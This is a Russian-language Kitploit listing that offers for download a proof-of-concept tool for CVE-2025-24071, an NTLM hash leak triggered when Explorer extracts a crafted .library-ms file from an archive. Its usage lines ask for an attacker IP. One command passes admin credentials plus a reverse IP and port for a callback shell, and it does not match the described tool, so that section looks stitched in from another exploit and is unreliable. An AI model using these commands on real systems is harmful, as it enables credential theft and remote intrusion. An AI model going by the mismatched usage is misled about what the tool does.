CVE-2025-24071 — Доказательство концепции для CVE-2025-24071, демонстрирующее утечку NTLM-хеша через специально созданный файл .library-ms в архивах RAR/ZIP, вызывающее SMB-аутентификацию при извлечении. | Kitploit

CVE-2025-24071_PoC

CVE-2025-24071: Утечка NTLM-хэша через извлечение RAR/ZIP и файл .library-ms

Windows Explorer автоматически инициирует SMB-запрос аутентификации при извлечении файла .library-ms из архива .rar, что приводит к раскрытию NTLM-хэша. Пользователю не нужно открывать или запускать файл — достаточно просто извлечения, чтобы вызвать утечку.

Использование


>>python poc.py

>>enter file name: your file name

>>enter IP: attacker IP

>>python3 poc.py --url http://domainname.com --user admin --password password --reverse-ip 10.10.10.10 --reverse-port 8888

Обновление:

Обновление: Microsoft изменила номер CVE. Номер CVE, ранее определённый Microsoft как CVE-2025-24071, обновлён до CVE-2025-24054.🤷‍♂

Скачать инструмент